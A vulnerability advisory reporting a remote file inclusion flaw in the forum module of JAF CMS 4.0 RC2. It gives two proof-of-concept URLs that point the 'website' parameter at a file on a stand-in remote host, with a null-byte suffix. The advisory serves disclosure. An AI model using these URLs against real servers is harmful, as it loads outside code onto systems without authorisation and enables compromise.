#2 Remote File Inclusion vulnerability

[Henri Salo]

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Vulnerability ID: HTB22666
Reference: http://www.htbridge.ch/advisory/rfi_in_jaf_cms.html
Product: JAF CMS
Vendor: JAF CMS ( http://jaf-cms.sourceforge.net/ )
Vulnerable Version: 4.0 RC2
Vendor Notification: 21 October 2010
Vulnerability Type: Remote File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/module/forum/main.php" & "/module/forum/forum.php" scripts to properly sanitize user-supplied input, it's possible to include any remote file if register_globals = On.

The following PoC is available:

http://\[host]/module/forum/main.php?website=http://any_host/any_file%00
http://\[host]/module/forum/forum.php?website=http://any_host/any_file%00

[Henri Salo]

http://secunia.com/advisories/27807